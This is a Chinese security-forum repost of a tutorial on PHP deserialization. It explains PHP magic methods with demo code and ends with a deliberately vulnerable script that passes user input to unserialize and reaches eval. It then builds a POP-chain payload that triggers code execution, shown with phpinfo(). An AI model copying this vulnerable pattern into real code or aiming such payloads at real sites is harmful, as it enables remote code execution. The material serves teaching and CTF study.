安全矩阵

 找回密码
 立即注册
搜索
查看: 2305|回复: 0

经验分享 | PHP-反序列化(超细的)(上)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-10 11:46:28 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-7-10 11:55 编辑

原文链接:经验分享 | PHP-反序列化(超细的)
1.正文
常见的PHP魔术方法:
  1. __construct:在创建对象时候初始化对象,一般用于对变量赋初值。
  2. __destruct:和构造函数相反,当对象所在函数调用完毕后执行。
  3. __call:当调用对象中不存在的方法会自动调用该方法。
  4. __get():获取对象不存在的属性时执行此函数。
  5. __set():设置对象不存在的属性时执行此函数。
  6. __toString:当对象被当做一个字符串使用时调用。
  7. __sleep:序列化对象之前就调用此方法(其返回需要一个数组)
  8. __wakeup:反序列化恢复对象之前调用该方法
  9. __isset():在不可访问的属性上调用isset()或empty()触发
  10. __unset():在不可访问的属性上使用unset()时触发
  11. __invoke() :将对象当作函数来使用时执行此方法
复制代码

发现目标主机 192.168.64.137

__CONSTRUCT 与 __DESTRUCT
__construct:在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct:和构造函数相反,当对象所在函数调用完毕后执行。
  1. <?php
  2. class Test{
  3.     public $name;
  4.     public $age;
  5.     public $string;
  6.     // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
  7.     public function __construct($name, $age, $string){
  8.         echo "__construct 初始化"."<br>";
  9.         $this->name = $name;
  10.         $this->age = $age;
  11.         $this->string = $string;
  12.     }
  13.     // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
  14.     /*
  15.      * 当对象销毁时会调用此方法
  16.      * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
  17.      */
  18.     function __destruct(){
  19.        echo "__destruct 类执行完毕"."<br>";
  20.     }
  21. }
  22. // 主动销毁
  23. $test = new Test("Spaceman",566, 'Test String');
  24. unset($test);
  25. // 主动销毁先执行__destruct再执行下面的echo
  26. echo '566'.'<br>';
  27. echo '----------------------<br>';
  28. // 程序结束自动销毁
  29. $test = new test("Spaceman",566, 'Test String');
  30. // 自动销毁先执行下面的echo,程序结束才执行__destruct
  31. echo '666'.'<br>';
  32. ?>
  33. 运行结果:
  34. __construct 初始化__destruct 类执行完毕566----------------------__construct 初始化666__destruct 类执行完毕
复制代码

__CALL
__call:当调用对象中不存在的方法会自动调用该方法。
调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
例:
  1. <?php

  2. class Test{

  3.     public function good($number,$string){
  4.         echo '存在good方法'.'<br>';
  5.         echo $number.'---------'.$string.'<br>';
  6.     }

  7.     // 当调用类中不存在的方法时,就会调用__call();
  8.     public function __call($method,$args){
  9.         echo '不存在'.$method.'方法'.'<br>';
  10.         var_dump($args);
  11.     }
  12. }

  13. $a = new Test();
  14. $a->good(566,'nice');
  15. $b = new Test();
  16. $b->spaceman(899,'no');
  17. ?>
复制代码

__GET()
__get():访问不存在的成员变量时调用的;用来获取私有属性
读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数。
例:
  1. <?php

  2. class Test {
  3.     public $n=123;

  4.     // __get():访问不存在的成员变量时调用
  5.     public function __get($name){
  6.         echo '__get 不存在成员变量'.$name.'<br>';
  7.     }
  8. }

  9. $a = new Test();
  10. // 存在成员变量n,所以不调用__get
  11. echo $a->n;
  12. echo '<br>';
  13. // 不存在成员变量spaceman,所以调用__get
  14. echo $a->spaceman;
  15. 运行结果:
  16. 123
  17. __get 不存在成员变量spaceman
复制代码

__SET()
__set():设置不存在的成员变量时调用的;
设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
例:
  1. <?php

  2. class Test{
  3.     public $data = 100;
  4.     protected $noway=0;

  5.     // __set():设置对象不存在的属性或无法访问(私有)的属性时调用
  6.     /* __set($name, $value)
  7.      * 用来为私有成员属性设置的值
  8.      * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
  9.      */
  10.     public function __set($name,$value){
  11.         echo '__set 不存在成员变量 '.$name.'<br>';
  12.         echo '即将设置的值 '.$value."<br>";
  13.         $this->noway=$value;
  14.     }

  15.     public function Get(){
  16.         echo $this->noway;
  17.     }
  18. }

  19. $a = new Test();
  20. // 读取 noway 的值,初始为0
  21. $a->Get();
  22. echo '<br>';
  23. // 无法访问(私有)noway属性时调用,并设置值为899
  24. $a->noway  = 899;
  25. // 经过__set方法的设置noway的值为899
  26. $a->Get();
  27. echo '<br>';
  28. // 设置对象不存在的属性spaceman
  29. $a->spaceman = 566;
  30. // 经过__set方法的设置noway的值为566
  31. $a->Get();
  32. ?>
  33. 运行结果:
  34. 0
复制代码

__set 不存在成员变量 noway
即将设置的值 899
899
__set 不存在成员变量 spaceman
即将设置的值 566
566
__get 与 __set
例:
  1. <?php

  2. class Person{
  3.     private $name;
  4.     private $sex;
  5.     private $age;

  6.     //__get()方法用来获取私有属性
  7.     public function __get($property_name){
  8.         echo "在直接获取私有属性值的时候,自动调用了这个__get()方法<br>";
  9.         if(isset($this->$property_name)) {
  10.             return($this->$property_name);
  11.         }
  12.         else {
  13.             return(NULL);
  14.         }
  15.     }

  16.     // __set()方法用来设置私有属性
  17.     public function __set($property_name, $value){
  18.         echo "在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值<br>";
  19.         $this->$property_name = $value;
  20.     }
  21. }

  22. $a = new Person();
  23. // 直接为私有属性赋值的操作,会自动调用__set()方法进行赋值
  24. $a->name="张三";
  25. $a->sex="男";
  26. $a->age=20;
  27. // 直接获取私有属性的值,会自动调用__get()方法,返回成员属性的值
  28. echo "姓名:".$a->name."<br>";
  29. echo "性别:".$a->sex."<br>";
  30. echo "年龄:".$a->age."<br>";
  31. ?>

  32. 运行结果:
  33. 在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
  34. 在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
  35. 在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
  36. 在直接获取私有属性值的时候,自动调用了这个__get()方法
  37. 姓名:张三
  38. 在直接获取私有属性值的时候,自动调用了这个__get()方法
  39. 性别:男
  40. 在直接获取私有属性值的时候,自动调用了这个__get()方法
  41. 年龄:20
复制代码

__TOSTRING()
__toString():在对象当做字符串的时候会被调用。
例:
  1. <?php

  2. class Test
  3. {
  4.     public $variable = 'This is a string';

  5.     public function good(){
  6.         echo $this->variable . '<br />';
  7.     }

  8.     // 在对象当做字符串的时候会被调用
  9.     public function __toString()
  10. {
  11.         return '__toString <br>';
  12.     }
  13. }

  14. $a = new Test();
  15. $a->good();
  16. echo $a;
  17. ?>

  18. 运行结果:
  19. This is a string
  20. __toString
复制代码

__SLEEP()
__sleep():serialize之前被调用,可以指定要序列化的对象属性。
例:
  1. <?php

  2. class Test{
  3.     public $name;
  4.     public $age;
  5.     public $string;

  6.     // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
  7.     public function __construct($name, $age, $string){
  8.         echo "__construct 初始化"."<br>";
  9.         $this->name = $name;
  10.         $this->age = $age;
  11.         $this->string = $string;
  12.     }

  13.     //  __sleep() :serialize之前被调用,可以指定要序列化的对象属性
  14.     public function __sleep(){
  15.         echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
  16.         // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
  17.         return array('name', 'age');
  18.     }
  19. }

  20. $a = new Test("Spaceman",566, 'Test String');
  21. echo serialize($a);
  22. ?>

  23. 运行结果:
  24. __construct 初始化
  25. 当在类外部使用serialize()时会调用这里的__sleep()方法
  26. O:4:"Test":2:{s:4:"name";s:8:"Spaceman";s:3:"age";i:566;}

复制代码

__WAKEUP
__wakeup:反序列化恢复对象之前调用该方法
例:
  1. <?php

  2. class Test{
  3.     public $sex;
  4.     public $name;
  5.     public $age;

  6.     public function __construct($name, $age, $sex){
  7.         $this->name = $name;
  8.         $this->age = $age;
  9.         $this->sex = $sex;
  10.     }

  11.     public function __wakeup(){
  12.         echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
  13.         $this->age = 566;
  14.     }
  15. }

  16. $person = new Test('spaceman',21,'男');
  17. $a = serialize($person);
  18. echo $a."<br>";
  19. var_dump (unserialize($a));
  20. ?>

  21. 运行结果:
  22. O:4:"Test":3:{s:3:"sex";s:3:"男";s:4:"name";s:8:"spaceman";s:3:"age";i:21;}
  23. 当在类外部使用unserialize()时会调用这里的__wakeup()方法
  24. class Test#2 (3) {
  25.   public $sex =>
  26.   string(3) "男"
  27.   public $name =>
  28.   string(8) "spaceman"
  29.   public $age =>
  30.   int(566)
  31. }
复制代码

__ISSET()
__isset(): 检测对象的某个属性是否存在时执行此函数。
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
例:
  1. <?php

  2. class Person{
  3.     public $sex;
  4.     private $name;
  5.     private $age;

  6.     public function __construct($name, $age, $sex){
  7.         $this->name = $name;
  8.         $this->age = $age;
  9.         $this->sex = $sex;
  10.     }

  11.     // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
  12.     public function __isset($content){
  13.         echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
  14.         return isset($this->$content);
  15.     }
  16. }

  17. $person = new Person("spaceman", 25,'男');
  18. // public 成员
  19. echo ($person->sex),"<br>";
  20. // private 成员
  21. echo isset($person->name);
  22. ?>
  23. 运行结果:


  24. 当在类外部使用isset()函数测定私有成员 name 时,自动调用
  25. 1
复制代码

__UNSET()
__unset():在不可访问的属性上使用unset()时触发
销毁对象的某个属性时执行此函数。
1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。
2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。
例:
  1. <?php

  2. class Person{
  3.     public $sex;
  4.     private $name;
  5.     private $age;

  6.     public function __construct($name, $age, $sex){
  7.         $this->name = $name;
  8.         $this->age = $age;
  9.         $this->sex = $sex;
  10.     }

  11.     // __unset():销毁对象的某个属性时执行此函数
  12.     public function __unset($content) {
  13.         echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>";
  14.         echo isset($this->$content)."<br>";
  15.     }
  16. }

  17. $person = new Person("spaceman", 21,"男"); // 初始赋值
  18. unset($person->sex);
  19. echo "666666<br>";
  20. unset($person->name);
  21. unset($person->age);
  22. ?>
  23. 运行结果:

  24. 666666
  25. 当在类外部使用unset()函数来删除私有成员时自动调用的
  26. 1
  27. 当在类外部使用unset()函数来删除私有成员时自动调用的
  28. 1
复制代码

__INVOKE()
__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
例:
  1. <?php

  2. class Test{
  3.     // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
  4.     public function __invoke($param1, $param2, $param3)
  5. {
  6.         echo "这是一个对象<br>";
  7.         var_dump($param1,$param2,$param3);
  8.     }
  9. }

  10. $a  = new Test();
  11. $a('spaceman',21,'男');
  12. ?>
  13. 运行结果:

  14. 这是一个对象
  15. string(8) "spaceman"
  16. int(21)
  17. string(3) "男"
复制代码

举例pop链的利用例1:
  1. <?php

  2. highlight_file(__FILE__);

  3. class pop {
  4.     public $ClassObj;

  5.     // 对象实例化时调用
  6.     function __construct() {
  7.         $this->ClassObj = new hello();
  8.     }

  9.     // 对象销毁或程序运行结束时调用
  10.     function __destruct() {
  11.         $this->ClassObj->action();
  12.     }
  13. }

  14. class hello {
  15.     function action() {
  16.         echo "<br> hello pop ";
  17.     }
  18. }

  19. class shell {
  20.     public $data;
  21.     function action() {
  22.         eval($this->data);
  23.     }
  24. }

  25. $a = new pop();
  26. unserialize($_GET['s']);
复制代码

简单的审计一下,可以发现,pop类本来是调用hello类的,然后程序结束执行action方法,但是shell类也有action方法,所以就可以构造pop链,使其pop类调用shell类从而执行eval函数。
  1. 构造如下:
  2. <?php

  3. highlight_file(__FILE__);

  4. class pop {
  5.     public $ClassObj;

  6.     function __construct() {
  7.         $this->ClassObj = new shell();
  8.     }
  9. }

  10. class shell {
  11.     public $data = "phpinfo();";
  12.     function action() {
  13.         eval($this->data);
  14.     }
  15. }

  16. echo serialize(new pop());
  17. 运行结果:

  18. O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:10:"phpinfo();";}}
复制代码





不过需要注意的是private属性和protected属性
  1. <?php

  2. highlight_file(__FILE__);

  3. class pop {
  4.   public $Pub = "spaceman";
  5.   private $Pri = "good";
  6.     protected $ClassObj;

  7.     function __construct() {
  8.         $this->ClassObj = new hello();
  9.     }

  10. }

  11. class hello {
  12. }

  13. echo urlencode(serialize(new pop()));
  14. 运行结果如下, 有%00存在是因为private属性和protected属性

  15. O%3A3%3A%22pop%22%3A3%3A%7Bs%3A3%3A%22Pub%22%3Bs%3A8%3A%22spaceman%22%3Bs%3A8%3A%22%00pop%00Pri%22%3Bs%3A4%3A%22good%22%3Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A5%3A%22hello%22%3A0%3A%7B%7D%7D
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:40 , Processed in 0.013642 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表